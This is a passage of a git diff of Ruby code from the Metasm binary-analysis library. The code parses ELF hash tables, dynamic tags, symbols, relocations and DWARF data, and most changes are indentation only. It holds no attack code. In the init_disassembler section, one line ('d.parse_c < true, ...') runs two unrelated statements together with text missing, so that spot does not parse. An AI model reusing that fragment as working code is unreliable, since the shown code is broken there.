symbols are sorted by [gnu_hash_symbol_name(symbol.name) % hash_bucket_len] + hash_bucket_len = decode_word + symndx = decode_word # index of first sorted symbol in symtab + maskwords = decode_word # number of words in the second part of the ghash section (32 or 64 bits) + shift2 = decode_word # used in the bloom filter + + bloomfilter = [] ; maskwords.times { bloomfilter << decode_xword } + # "bloomfilter[N] has bit B cleared if there is no M (M > symndx) which satisfies (C = @header.class) + # ((gnu_hash(sym[M].name) / C) % maskwords) == N && + # ((gnu_hash(sym[M].name) % C) == B || + # ((gnu_hash(sym[M].name) >> shift2) % C) == B" + # bloomfilter may be [~0] + if shift2 + end + + hash_bucket = [] ; hash_bucket_len.times { hash_bucket << decode_word } + # bucket[N] contains the lowest M for which + # gnu_hash(sym[M]) % nbuckets == N + # or 0 if none + + hsymcount = 0 + part4 = [] + hash_bucket.each { |hmodidx| + # for each bucket, walk all the chain + # we do not walk the chains in hash_bucket order here, this + # is just to read all the part4 as we don't know + # beforehand the number of hashed symbols + next if hmodidx == 0 # no hash chain for this mod + loop do + fu = decode_word + hsymcount += 1 + part4 << fu + break if fu & 1 == 1 + end + } + + # part4[N] contains + # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) + # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] + + return hsymcount+symndx if just_get_count + + # TODO + end + + # read dynamic tags array + def decode_tags(off = nil) + if not off + if s = @segments.find { |s_| s_.type == 'DYNAMIC' } + # this way it also works with LoadedELF + off = addr_to_off(s.vaddr) + elsif s = @sections.find { |s_| s_.type == 'DYNAMIC' } + # if no DYNAMIC segment, assume we decode an ET_REL from file + off = s.offset + end + end + return if not @encoded.ptr = off + + @tag = {} + loop do + tag = decode_sxword + val = decode_xword + if tag >= DYNAMIC_TAG_LOPROC and tag < DYNAMIC_TAG_HIPROC + tag = int_to_hash(tag-DYNAMIC_TAG_LOPROC, DYNAMIC_TAG_PROC[@header.machine] || {}) + tag += DYNAMIC_TAG_LOPROC if tag.kind_of? Integer + else + tag = int_to_hash(tag, DYNAMIC_TAG) + end + case tag + when 'NULL' + @tag[tag] = val + break + when Integer + puts "W: Elf: unknown dynamic tag 0x#{tag.to_s 16}" if $VERBOSE + @tag[tag] ||= [] + @tag[tag] << val + when 'NEEDED' # here, list of tags for which multiple occurences are allowed + @tag[tag] ||= [] + @tag[tag] << val + when 'POSFLAG_1' + puts "W: Elf: ignoring dynamic tag modifier #{tag} #{int_to_hash(val, DYNAMIC_POSFLAG_1)}" if $VERBOSE + else + if @tag[tag] + puts "W: Elf: ignoring re-occurence of dynamic tag #{tag} (value #{'0x%08X' % val})" if $VERBOSE + else + @tag[tag] = val + end + end + end + end + + # interprets tags (convert flags, arrays etc), mark them as self.encoded.export + def decode_segments_tags_interpret + if @tag['STRTAB'] + if not sz = @tag['STRSZ'] + puts "W: Elf: no string table size tag" if $VERBOSE + else + if l = add_label('dynamic_strtab', @tag['STRTAB']) + @tag['STRTAB'] = l + strtab = @encoded[l, sz].data + end + end + end + + @tag.keys.each { |k| + case k + when Integer + when 'NEEDED' + # array of strings + if not strtab + puts "W: Elf: no string table, needed for tag #{k}" if $VERBOSE + next + end + @tag[k].map! { |v| readstr(strtab, v) } + when 'SONAME', 'RPATH', 'RUNPATH' + # string + if not strtab + puts "W: Elf: no string table, needed for tag #{k}" if $VERBOSE + next + end + @tag[k] = readstr(strtab, @tag[k]) + when 'INIT', 'FINI', 'PLTGOT', 'HASH', 'GNU_HASH', 'SYMTAB', 'RELA', 'REL', 'JMPREL' + @tag[k] = add_label('dynamic_' + k.downcase, @tag[k]) || @tag[k] + when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' + next if not l = add_label('dynamic_' + k.downcase, @tag[k]) + if not sz = @tag.delete(k+'SZ') + puts "W: Elf: tag #{k} has no corresponding size tag" if $VERBOSE + next + end + + tab = @encoded[l, sz] + tab.ptr = 0 + @tag[k] = [] + while tab.ptr < tab.length + a = decode_addr(tab) + @tag[k] << (add_label("dynamic_#{k.downcase}_#{@tag[k].length}", a) || a) + end + when 'PLTREL'; @tag[k] = int_to_hash(@tag[k], DYNAMIC_TAG) + when 'FLAGS'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FLAGS) + when 'FLAGS_1'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FLAGS_1) + when 'FEATURES_1'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FEATURES_1) + end + } + end + + # marks a symbol as @encoded.export (from s.value, using segments or sections) + def decode_symbol_export(s) + if s.name and s.shndx != 'UNDEF' and %w[NOTYPE OBJECT FUNC].include?(s.type) + if @header.type == 'REL' + sec = @sections[s.shndx] + o = sec.offset + s.value + elsif not o = addr_to_off(s.value) + # allow to point to end of segment + if not seg = @segments.find { |seg_| seg_.type == 'LOAD' and seg_.vaddr + seg_.memsz == s.value } # check end + puts "W: Elf: symbol points to unmmaped space (#{s.inspect})" if $VERBOSE and s.shndx != 'ABS' + return + end + # LoadedELF would have returned an addr_to_off = addr + o = s.value - seg.vaddr + seg.offset + end + name = s.name + while @encoded.export[name] and @encoded.export[name] != o + puts "W: Elf: symbol #{name} already seen at #{'%X' % @encoded.export[name]} - now at #{'%X' % o}) (may be a different version definition)" if $VERBOSE + name += '_' # do not modify inplace + end + @encoded.add_export name, o + end + end + + # read symbol table, and mark all symbols found as exports of self.encoded + # tables locations are found in self.tags + # XXX symbol count is found from the hash table, this may not work with GNU_HASH only binaries + def decode_segments_symbols + return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH']) + + raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self) + + # find number of symbols + if @tag['HASH'] + @encoded.ptr = @tag['HASH'] # assume tag already interpreted (would need addr_to_off otherwise) + decode_word + sym_count = decode_word + else + sym_count = check_symbols_gnu_hash(@tag['GNU_HASH'], true) + end + + strtab = @encoded[@tag['STRTAB'], @tag['STRSZ']].data.to_str + + @encoded.ptr = @tag['SYMTAB'] + @symbols.clear + sym_count.times { + s = Symbol.decode(self, strtab) + @symbols << s + decode_symbol_export(s) + } + + check_symbols_hash if $VERBOSE + check_symbols_gnu_hash if $VERBOSE + end + + # decode SYMTAB sections + def decode_sections_symbols + @symbols ||= [] + @sections.to_a.each { |sec| + next if sec.type != 'SYMTAB' + next if not strtab = @sections[sec.link] + strtab = @encoded[strtab.offset, strtab.size].data + @encoded.ptr = sec.offset + syms = [] + raise 'Invalid symbol table' if sec.size > @encoded.length + (sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) } + alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' + syms.each { |s| + if alreadysegs + # if we already decoded the symbols from the DYNAMIC segment, + # ignore dups and imports from this section + next if s.shndx == 'UNDEF' + next if @symbols.find { |ss| ss.name == s.name } + end + @symbols << s + decode_symbol_export(s) + } + } + end + + # decode REL/RELA sections + def decode_sections_relocs + @relocations ||= [] + @sections.to_a.each { |sec| + case sec.type + when 'REL'; relcls = Relocation + when 'RELA'; relcls = RelocationAddend + else next + end + startidx = @relocations.length + @encoded.ptr = sec.offset + while @encoded.ptr < sec.offset + sec.size + @relocations << relcls.decode(self) + end + + # create edata relocs + tsec = @sections[sec.info] + relocproc = "arch_decode_segments_reloc_#{@header.machine.to_s.downcase}" + next if not respond_to? relocproc + new_label('pcrel') + @relocations[startidx..-1].each { |r| + o = @encoded.ptr = tsec.offset + r.offset + r = r.dup + l = new_label('pcrel') + r.offset = Expression[l] + if rel = send(relocproc, r) + @encoded.reloc[o] = rel + end + } + } + end + + # decode relocation tables (REL, RELA, JMPREL) from @tags + def decode_segments_relocs + @relocations.clear + if @encoded.ptr = @tag['REL'] + raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self) + p_end = @encoded.ptr + @tag['RELSZ'] + while @encoded.ptr < p_end + @relocations << Relocation.decode(self) + end + end + + if @encoded.ptr = @tag['RELA'] + raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self) + p_end = @encoded.ptr + @tag['RELASZ'] + while @encoded.ptr < p_end + @relocations << RelocationAddend.decode(self) + end + end + + if @encoded.ptr = @tag['JMPREL'] + case reltype = @tag['PLTREL'] + when 'REL'; relcls = Relocation + when 'RELA'; relcls = RelocationAddend + else raise "E: ELF: unsupported plt relocation type #{reltype}" + end + p_end = @encoded.ptr + @tag['PLTRELSZ'] + while @encoded.ptr < p_end + @relocations << relcls.decode(self) + end + end + end + + # use relocations as self.encoded.reloc + def decode_segments_relocs_interpret + relocproc = "arch_decode_segments_reloc_#{@header.machine.to_s.downcase}" + if not respond_to? relocproc + puts "W: Elf: relocs for arch #{@header.machine} unsupported" if $VERBOSE + return + end + @relocations.each { |r| + next if r.offset == 0 + if not o = addr_to_off(r.offset) + puts "W: Elf: relocation in unmmaped space (#{r.inspect})" if $VERBOSE + next + end + if @encoded.reloc[o] + puts "W: Elf: not rerelocating address #{'%08X' % r.offset}" if $VERBOSE + next + end + @encoded.ptr = o + if rel = send(relocproc, r) + @encoded.reloc[o] = rel + end + } + + if @header.machine == 'MIPS' and @tag['PLTGOT'] and @tag['GOTSYM'] and @tag['LOCAL_GOTNO'] + puts "emulating mips PLT-like relocs" if $VERBOSE + wsz = @bitsize/8 + dyntab = label_addr(@tag['PLTGOT']) - (@tag['GOTSYM'] - @tag['LOCAL_GOTNO']) * wsz + dt_o = addr_to_off(dyntab) + @symbols.each_with_index { |sym, i| + next if i < @tag['GOTSYM'] or not sym.name + r = Metasm::Relocation.new(Expression[sym.name], "u#@bitsize".to_sym, @endianness) + @encoded.reloc[dt_o + wsz*i] = r + } + end + end + + # returns the Metasm::Relocation that should be applied for reloc + # self.encoded.ptr must point to the location that will be relocated (for implicit addends) + def arch_decode_segments_reloc_386(reloc) + if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } + @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) + end + + # decode addend if needed + case reloc.type + when 'NONE', 'COPY', 'GLOB_DAT', 'JMP_SLOT' # no addend + else addend = reloc.addend || decode_sword + end + + case reloc.type + when 'NONE' + when 'RELATIVE' + # base = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min & 0xffff_f000 + # compiled to be loaded at seg.vaddr + target = addend + if o = addr_to_off(target) + if not label = @encoded.inv_export[o] + label = new_label("xref_#{Expression[target]}") + @encoded.add_export label, o + end + target = label + else + puts "W: Elf: relocation pointing out of mmaped space #{reloc.inspect}" if $VERBOSE + end + when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32' + # XXX use versionned version + # lazy jmp_slot ? + target = 0 + target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32' + target = Expression[target, :+, addend] if addend and addend != 0 + target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF' + target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32' + when 'COPY' + # mark the address pointed as a copy of the relocation target + if not reloc.symbol or not name = reloc.symbol.name + puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE + name = '' + end + name = new_label("copy_of_#{name}") + @encoded.add_export name, @encoded.ptr + target = nil + else + puts "W: Elf: unhandled 386 reloc #{reloc.inspect}" if $VERBOSE + target = nil + end + + Metasm::Relocation.new(Expression[target], :u32, @endianness) if target + end + + # returns the Metasm::Relocation that should be applied for reloc + # self.encoded.ptr must point to the location that will be relocated (for implicit addends) + def arch_decode_segments_reloc_mips(reloc) + if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } + @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) + end + + # decode addend if needed + case reloc.type + when 'NONE' # no addend + else addend = reloc.addend || decode_sword + end + + case reloc.type + when 'NONE' + when '32', 'REL32' + target = 0 + target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32' + target = Expression[target, :+, addend] if addend and addend != 0 + else + puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE + target = nil + end + + Metasm::Relocation.new(Expression[target], :u32, @endianness) if target + end + + # returns the Metasm::Relocation that should be applied for reloc + # self.encoded.ptr must point to the location that will be relocated (for implicit addends) + def arch_decode_segments_reloc_x86_64(reloc) + if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } + @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) + end + + # decode addend if needed + case reloc.type + when 'NONE' # no addend + when '32', 'PC32'; addend = reloc.addend || decode_sword + else addend = reloc.addend || decode_sxword + end + + sz = :u64 + case reloc.type + when 'NONE' + when 'RELATIVE' + # base = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min & 0xffff_f000 + # compiled to be loaded at seg.vaddr + target = addend + if o = addr_to_off(target) + if not label = @encoded.inv_export[o] + label = new_label("xref_#{Expression[target]}") + @encoded.add_export label, o + end + target = label + else + puts "W: Elf: relocation pointing out of mmaped space #{reloc.inspect}" if $VERBOSE + end + when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32' + # XXX use versionned version + # lazy jmp_slot ? + target = 0 + target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32' + target = Expression[target, :+, addend] if addend and addend != 0 + sz = :u32 if reloc.type == '32' or reloc.type == 'PC32' + when 'COPY' + # mark the address pointed as a copy of the relocation target + if not reloc.symbol or not name = reloc.symbol.name + puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE + name = '' + end + name = new_label("copy_of_#{name}") + @encoded.add_export name, @encoded.ptr + target = nil + else + puts "W: Elf: unhandled X86_64 reloc #{reloc.inspect}" if $VERBOSE + target = nil + end + + Metasm::Relocation.new(Expression[target], sz, @endianness) if target + end + + class DwarfDebug + # decode a DWARF2 'compilation unit' + def decode(elf, info, abbrev, str) + super(elf, info) + len = @cu_len-7 # @cu_len is size from end of @cu_len field, so we substract ptsz/tag/abroff + info.ptr += len # advance for caller + info = info[info.ptr-len, len] # we'll work on our segment + abbrev.ptr = @abbrev_off + + return if abbrev.ptr >= abbrev.length or info.ptr >= info.length + + idx_abbroff = {} + + # returns a list of siblings at current abbrev.ptr + decode_tree = lambda { |parent| + siblings = [] + loop { + info_idx = elf.decode_leb(info) + break siblings if info_idx == 0 + abbrev.ptr = idx_abbroff[info_idx] if idx_abbroff[info_idx] + idx_abbroff[info_idx] ||= abbrev.ptr + n = DwarfDebug::Node.decode(elf, info, abbrev, str, idx_abbroff) + idx_abbroff[info_idx+1] ||= abbrev.ptr + siblings << n + n.children = decode_tree[n] if n.has_child == 1 + n.parent = parent + break n if not parent + } + } + @tree = decode_tree[nil] + end + + class Node + def decode(elf, info, abbrev, str, idx_abbroff) + super(elf, abbrev) + return if @index == 0 + @attributes = [] + loop { + a = Attribute.decode(elf, abbrev) + break if a.attr == 0 and a.form == 0 + if a.form == 'INDIRECT' # actual form tag is stored in info + a.form = elf.decode_leb(info) + a.form = DWARF_FORM[a.form] || a.form # XXX INDIRECT again ? + end + a.data = case a.form + when 'ADDR'; elf.decode_xword(info) # should use dbg.ptr_sz + when 'DATA1', 'REF1', 'BLOCK1', 'FLAG'; elf.decode_byte(info) + when 'DATA2', 'REF2', 'BLOCK2'; elf.decode_half(info) + when 'DATA4', 'REF4', 'BLOCK4'; elf.decode_word(info) + when 'DATA8', 'REF8', 'BLOCK8'; elf.decode_word(info) | (elf.decode_word(info) << 32) + when 'SDATA', 'UDATA', 'REF_UDATA', 'BLOCK'; elf.decode_leb(info) + when 'STRING'; elf.decode_strz(info) + when 'STRP'; str.ptr = elf.decode_word(info) ; elf.decode_strz(str) + end + case a.form + when /^REF/ + when /^BLOCK/; a.data = info.read(a.data) + end + @attributes << a + } + end + end + end + + # decode an ULEB128 (dwarf2): read bytes while high bit is set, littleendian + def decode_leb(ed = @encoded) + v = s = 0 + loop { + b = ed.read(1).unpack('C').first.to_i + v |= (b & 0x7f) << s + s += 7 + break v if (b&0x80) == 0 + } + end + + # decodes the debugging information if available + # only a subset of DWARF2/3 is handled right now + # most info taken from http://ratonland.org/?entry=39 & libdwarf/dwarf.h + def decode_debug + return if not @sections + + # assert presence of DWARF sections + info = @sections.find { |sec| sec.name == '.debug_info' } + abbrev = @sections.find { |sec| sec.name == '.debug_abbrev' } + str = @sections.find { |sec| sec.name == '.debug_str' } + return if not info or not abbrev + + # section -> content + info = @encoded[info.offset, info.size] + abbrev = @encoded[abbrev.offset, abbrev.size] + str = @encoded[str.offset, str.size] if str + + @debug = [] + + while info.ptr < info.length + @debug << DwarfDebug.decode(self, info, abbrev, str) + end + end + + # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs + def decode_segments_dynamic + return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' } + @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr) + decode_tags + decode_segments_tags_interpret + decode_segments_symbols + decode_segments_relocs + decode_segments_relocs_interpret + end + + # decodes the dynamic segment, fills segments.encoded + def decode_segments + decode_segments_dynamic + decode_sections_symbols + #decode_debug # too many info, decode on demand + @segments.each { |s| + case s.type + when 'LOAD', 'INTERP' + sz = s.filesz + pagepad = (-(s.offset + sz)) % 4096 + s.encoded = @encoded[s.offset, sz] || EncodedData.new + if s.type == 'LOAD' and sz > 0 and not s.flags.include?('W') + # align loaded data to the next page boundary for readonly mmap + # but discard the labels/relocs etc + s.encoded << @encoded[s.offset+sz, pagepad].data rescue nil + s.encoded.virtsize = sz+pagepad + end + s.encoded.virtsize = s.memsz if s.memsz > s.encoded.virtsize + end + } + end + + # decodes sections, interprets symbols/relocs, fills sections.encoded + def decode_sections + decode_sections_symbols + decode_sections_relocs + @sections.each { |s| + case s.type + when 'PROGBITS', 'NOBITS' + when 'TODO' # TODO + end + } + @sections.find_all { |s| s.type == 'PROGBITS' or s.type == 'NOBITS' }.each { |s| + if s.flags.include? 'ALLOC' + if s.type == 'NOBITS' + s.encoded = EncodedData.new '', :virtsize => s.size + else + s.encoded = @encoded[s.offset, s.size] || EncodedData.new + s.encoded.virtsize = s.size + end + end + } + end + + def decode_exports + decode_segments_dynamic + end + + # decodes the elf header, and depending on the elf type, decode segments or sections + def decode + decode_header + case @header.type + when 'DYN', 'EXEC'; decode_segments + when 'REL'; decode_sections + when 'CORE' + end + end + + def each_section + @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' } + return if @header.type != 'REL' + @sections.each { |s| + next if not s.encoded + l = new_label(s.name) + s.encoded.add_export l, 0 + yield s.encoded, l + } + end + + # returns a metasm CPU object corresponding to +header.machine+ + def cpu_from_headers + case @header.machine + when 'X86_64'; X86_64.new + when '386'; Ia32.new + when 'MIPS'; MIPS.new @endianness + when 'PPC'; PPC.new + when 'ARM'; ARM.new + else raise "unsupported cpu #{@header.machine}" + end + end + + # returns an array including the ELF entrypoint (if not null) and the FUNC symbols addresses + # TODO include init/init_array + def get_default_entrypoints + ep = [] + ep << @header.entry if @header.entry != 0 + @symbols.each { |s| + ep << s.value if s.shndx != 'UNDEF' and s.type == 'FUNC' + } if @symbols + ep + end + + def dump_section_header(addr, edata) + if s = @segments.find { |s_| s_.vaddr == addr } + "\n// ELF segment at #{Expression[addr]}, flags = #{s.flags.sort.join(', ')}" + else super(addr, edata) + end + end + + # returns a disassembler with a special decodedfunction for dlsym, __libc_start_main, and a default function (i386 only) + def init_disassembler + d = super() + d.backtrace_maxblocks_data = 4 + if d.get_section_at(0) + # fixes call [constructor] => 0 + d.decoded[0] = true + d.function[0] = @cpu.disassembler_default_func + end + case @cpu.shortname + when 'ia32', 'x64' + old_cp = d.c_parser + d.c_parser = nil + d.parse_c < true, :maxdepth => maxdepth) - if fnaddr.kind_of? ::Array and fnaddr.length == 1 and s = dasm.get_section_at(fnaddr.first) and fn = s[0].read(64) and i = fn.index(?\0) and i > sz # try to avoid ordinals - bind = bind.merge @cpu.register_symbols[0] => Expression[fn[0, i]] - end - bind - } - df = d.function[:default] = @cpu.disassembler_default_func - df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] - df.btbind_callback = nil - when 'mips' - (d.address_binding[@header.entry] ||= {})[:$t9] ||= Expression[@header.entry] - @symbols.each { |s| - next if s.shndx == 'UNDEF' or s.type != 'FUNC' - (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value] - } - d.function[:default] = @cpu.disassembler_default_func - end - d - end - - # returns an array of [name, addr, length, info] - def section_info - if @sections - @sections[1..-1].map { |s| - [s.name, s.addr, s.size, s.flags.join(',')] - } - else - @segments.map { |s| - [nil, s.vaddr, s.memsz, s.flags.join(',')] - } - end - end - - def module_name - @tag and @tag['SONAME'] - end - - def module_address - @segments.map { |s_| s_.vaddr if s_.type == 'LOAD' }.compact.min || 0 - end - - def module_size - return 0 if not s = @segments.to_a.reverse.map { |s_| s_.vaddr + s_.memsz if s_.type == 'LOAD' }.compact.max - s - module_address - end - - def module_symbols - syms = [] - m_addr = module_address - syms << ['entrypoint', @header.entry-m_addr] if @header.entry != 0 or @header.type == 'EXEC' - @symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - pfx = %w[LOCAL WEAK].include?(s.bind) ? s.bind.downcase + '_' : '' - syms << [pfx+s.name, s.value-m_addr, s.size] - } - syms - end + d.function[Expression['dlsym']] = dls = @cpu.decode_c_function_prototype(d.c_parser, 'dlsym') + d.function[Expression['__libc_start_main']] = @cpu.decode_c_function_prototype(d.c_parser, '__libc_start_main') + d.function[Expression['exit']] = @cpu.decode_c_function_prototype(d.c_parser, 'exit') + d.function[Expression['_exit']] = @cpu.decode_c_function_prototype(d.c_parser, '_exit') + d.function[Expression['abort']] = @cpu.decode_c_function_prototype(d.c_parser, 'abort') + d.function[Expression['__stack_chk_fail']] = @cpu.decode_c_function_prototype(d.c_parser, '__stack_chk_fail') + d.c_parser = old_cp + dls.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| + sz = @cpu.size/8 + raise 'dlsym call error' if not dasm.decoded[calladdr] + if @cpu.shortname == 'x64' + arg2 = :rsi + else + arg2 = Indirection.new(Expression[:esp, :+, 2*sz], sz, calladdr) + end + fnaddr = dasm.backtrace(arg2, calladdr, :include_start => true, :maxdepth => maxdepth) + if fnaddr.kind_of? ::Array and fnaddr.length == 1 and s = dasm.get_section_at(fnaddr.first) and fn = s[0].read(64) and i = fn.index(?\0) and i > sz # try to avoid ordinals + bind = bind.merge @cpu.register_symbols[0] => Expression[fn[0, i]] + end + bind + } + df = d.function[:default] = @cpu.disassembler_default_func + df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] + df.btbind_callback = nil + when 'mips' + (d.address_binding[@header.entry] ||= {})[:$t9] ||= Expression[@header.entry] + @symbols.each { |s| + next if s.shndx == 'UNDEF' or s.type != 'FUNC' + (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value] + } + d.function[:default] = @cpu.disassembler_default_func + end + d + end + + # returns an array of [name, addr, length, info] + def section_info + if @sections + @sections[1..-1].map { |s| + [s.name, s.addr, s.size, s.flags.join(',')] + } + else + @segments.map { |s| + [nil, s.vaddr, s.memsz, s.flags.join(',')] + } + end + end + + def module_name + @tag and @tag['SONAME'] + end + + def module_address + @segments.map { |s_| s_.vaddr if s_.type == 'LOAD' }.compact.min || 0 + end + + def module_size + return 0 if not s = @segments.to_a.reverse.map { |s_| s_.vaddr + s_.memsz if s_.type == 'LOAD' }.compact.max + s - module_address + end + + def module_symbols + syms = [] + m_addr = module_address + syms << ['entrypoint', @header.entry-m_addr] if @header.entry != 0 or @header.type == 'EXEC' + @symbols.each { |s| + next if not s.name or s.shndx == 'UNDEF' + pfx = %w[LOCAL WEAK].include?(s.bind) ? s.bind.downcase + '_' : '' + syms << [pfx+s.name, s.value-m_addr, s.size] + } + syms + end end class LoadedELF - # decodes the dynamic segment, fills segments.encoded - def decode_segments - if @load_address == 0 and @segments.find { |s| s.type == 'LOAD' and s.vaddr > @encoded.length } - @load_address = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min - end - decode_segments_dynamic - @segments.each { |s| - if s.type == 'LOAD' - s.encoded = @encoded[addr_to_off(s.vaddr), s.memsz] - end - } - end - - # do not try to decode the section header by default - def decode_header(off = 0) - @encoded.ptr = off - @header.decode self - decode_program_header(@header.phoff+off) - end + # decodes the dynamic segment, fills segments.encoded + def decode_segments + if @load_address == 0 and @segments.find { |s| s.type == 'LOAD' and s.vaddr > @encoded.length } + @load_address = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min + end + decode_segments_dynamic + @segments.each { |s| + if s.type == 'LOAD' + s.encoded = @encoded[addr_to_off(s.vaddr), s.memsz] + end + } + end + + # do not try to decode the section header by default + def decode_header(off = 0) + @encoded.ptr = off + @header.decode self + decode_program_header(@header.phoff+off) + end end end diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb index ec0ea49109aa8..046a9c4a07ffb 100644 --- a/lib/metasm/metasm/exe_format/elf_encode.rb +++ b/lib/metasm/metasm/exe_format/elf_encode.rb @@ -9,1321 +9,1321 @@ module Metasm class ELF - class Header - def set_default_values elf - @magic ||= "\x7fELF" - @e_class ||= elf.bitsize.to_s - @data ||= (elf.endianness == :big ? 'MSB' : 'LSB') - @version ||= 'CURRENT' - @i_version ||= @version - @entry ||= 0 - @phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr') - @shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr') - @flags ||= [] - @ehsize ||= Header.size(elf) - @phentsize ||= Segment.size(elf) - @phnum ||= elf.segments.length - @shentsize ||= Section.size(elf) - @shnum ||= elf.sections.length - - super(elf) - end - end - - class Section - def set_default_values elf - make_name_p elf if name and @name != '' - @flags ||= [] - @addr ||= (encoded and @flags.include?('ALLOC')) ? elf.label_at(@encoded, 0) : 0 - @offset ||= encoded ? elf.new_label('section_offset') : 0 - @size ||= encoded ? @encoded.length : 0 - @addralign ||= entsize || 0 - @entsize ||= @addralign - @link = elf.sections.index(@link) if link.kind_of? Section - @info = elf.sections.index(@info) if info.kind_of? Section - super(elf) - end - - # defines the @name_p field from @name and elf.section[elf.header.shstrndx] - # creates .shstrtab if needed - def make_name_p elf - return 0 if not name or @name == '' - if elf.header.shstrndx.to_i == 0 - sn = Section.new - sn.name = '.shstrtab' - sn.type = 'STRTAB' - sn.flags = [] - sn.addralign = 1 - sn.encoded = EncodedData.new << 0 - elf.header.shstrndx = elf.sections.length - elf.sections << sn - end - sne = elf.sections[elf.header.shstrndx].encoded - return if name_p and sne.data[@name_p, @name.length+1] == @name+0.chr - return if @name_p = sne.data.index(@name+0.chr) - @name_p = sne.virtsize - sne << @name << 0 - end - end - - class Segment - def set_default_values elf - if encoded - @offset ||= elf.new_label('segment_offset') - @vaddr ||= elf.label_at(@encoded, 0) - @filesz ||= @encoded.rawsize - @memsz ||= @encoded.virtsize - end - @paddr ||= @vaddr if vaddr - - super(elf) - end - end - - class Symbol - def set_default_values(elf, strtab) - make_name_p elf, strtab if strtab and name and @name != '' - super(elf) - end - - # sets the value of @name_p, appends @name to strtab if needed - def make_name_p(elf, strtab) - s = strtab.kind_of?(EncodedData) ? strtab.data : strtab - return if name_p and s[@name_p, @name.length+1] == @name+0.chr - return if @name_p = s.index(@name+0.chr) - @name_p = strtab.length - strtab << @name << 0 - end - end - - - def encode_byte(w) Expression[w].encode(:u8, @endianness, (caller if $DEBUG)) end - def encode_half(w) Expression[w].encode(:u16, @endianness, (caller if $DEBUG)) end - def encode_word(w) Expression[w].encode(:u32, @endianness, (caller if $DEBUG)) end - def encode_sword(w) Expression[w].encode(:i32, @endianness, (caller if $DEBUG)) end - def encode_xword(w) Expression[w].encode((@bitsize == 32 ? :u32 : :u64), @endianness, (caller if $DEBUG)) end - def encode_sxword(w) Expression[w].encode((@bitsize == 32 ? :i32 : :i64), @endianness, (caller if $DEBUG)) end - alias encode_addr encode_xword - alias encode_off encode_xword - - # checks a section's data has not grown beyond s.size, if so undefs addr/offset - def encode_check_section_size(s) - if s.size and s.encoded.virtsize < s.size - puts "W: Elf: preexisting section #{s} has grown, relocating" if $VERBOSE - s.addr = s.offset = nil - s.size = s.encoded.virtsize - end - end - - # reorders self.symbols according to their gnu_hash - def encode_reorder_symbols - gnu_hash_bucket_length = 42 # TODO - @symbols[1..-1] = @symbols[1..-1].sort_by { |s| - if s.bind != 'GLOBAL' - -2 - elsif s.shndx == 'UNDEF' or not s.name - -1 - else - ELF.gnu_hash_symbol_name(s.name) % gnu_hash_bucket_length - end - } - end - - # sorted insert of a new section to self.sections according to its permission (for segment merging) - def 